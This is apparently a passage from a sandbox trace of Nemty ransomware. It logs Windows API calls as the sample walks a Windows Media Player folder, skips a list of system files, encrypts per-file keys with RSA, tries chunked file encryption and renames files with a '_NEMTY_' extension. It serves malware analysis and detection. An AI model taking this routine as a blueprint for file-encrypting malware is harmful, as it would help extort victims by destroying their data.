pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.889] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="H+1GugWNuXS/tIGCukhFjwewK9RkYSApg8t8aFYWqC5z0WqHVGQdTW7/d9B9rmMu\r\na1X6j9spUX3oBe1QFZ9BBaxTdrsDe8WC+7y870vhobzMGSrnTLjByx+AT5rXU7R2\r\nG1djN5I8W0NwohEZiMi0i0d7wWNPyi7N42Khk4CIUxnsM5K1omCpkGW/6OhY0W+l\r\nSXevH+1c4YSTHrE+vZDHA9nXSgYGXtEXDEwVIkPMje2Yhi7Q6+98YhrBXnLzbQ3S\r\nKHhFY+okFuGdgwQufB88bIW41Cq1pCFK+73kops3Qb++tCUaLpv6NP/fnOcapgsa\r\nGbk/yfmfQFAatwe4TYIisg==\r\n", pcchString=0x653ef9c) returned 1 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.890] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.890] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.909] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.927] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.974] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.996] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.996] CloseHandle (hObject=0xffffffff) returned 0 [0106.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.jpg._nemty_kgobjgd_")) returned 0 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.997] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf4702c0, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf4702c0, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1532, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color48.png", cAlternateFileName="")) returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2=".") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="..") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="...") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="windows") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="$RECYCLE.BIN") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="rsa") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="NTDETECT.COM") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="ntldr") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="MSDOS.SYS") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="IO.SYS") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="boot.ini") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="boot.ini") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="AUTOEXEC.BAT") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="ntuser.dat") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="desktop.ini") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="CONFIG.SYS") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="RECYCLER") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="BOOTSECT.BAK") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="bootmgr") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="programdata") returned 1 [0106.997] lstrcmpiW (lpString1="wmpnss_color48.png", lpString2="appdata") returned 1 [0106.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.png", lpUsedDefaultChar=0x0) returned 18 [0106.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.png", lpUsedDefaultChar=0x0) returned 18 [0106.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.png", lpUsedDefaultChar=0x0) returned 18 [0106.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.png", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.png", lpUsedDefaultChar=0x0) returned 18 [0106.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.998] Sleep (dwMilliseconds=0x5) [0106.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf36c3bd0, dwHighDateTime=0x1d561e7)) [0106.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf36c3bd0, dwHighDateTime=0x1d561e7)) [0106.998] GetLastError () returned 0x5 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.998] GetLastError () returned 0x5 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.999] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.999] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.999] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.999] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="gsebl5CsT9PzhS9yBYn2/xh2p8nfzATrnuplE335rfcMc/RvhT54sSxxFwyyP12o\r\nnx8YVCtzzXnFGUHoqdQ0sWoO7tJzE0Ewxwq6MZuwZOMQaGdARiOCGSRhN3G+Ncl2\r\ncK2QHD/9JfcpanFU5GBtowoZ4u2diAazX6r3UqTmA72SLGfSYPP0PlY6lcYHky64\r\n96vcap4V6e6mN3QNELEWc5kixg0trleC2orwesnuw2ev+LR8Hr/0MUy32DKpjI12\r\nxaYXTKYnenasVdzHs9v3tfbEDbtGc1cP++XNZN2dnM4ORM+lyk0Dd3lu+l1ev52W\r\n/MEGEEHn8OYL9dhiWQVtyg==\r\n", pcchString=0x653ef9c) returned 1 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.999] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.999] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | 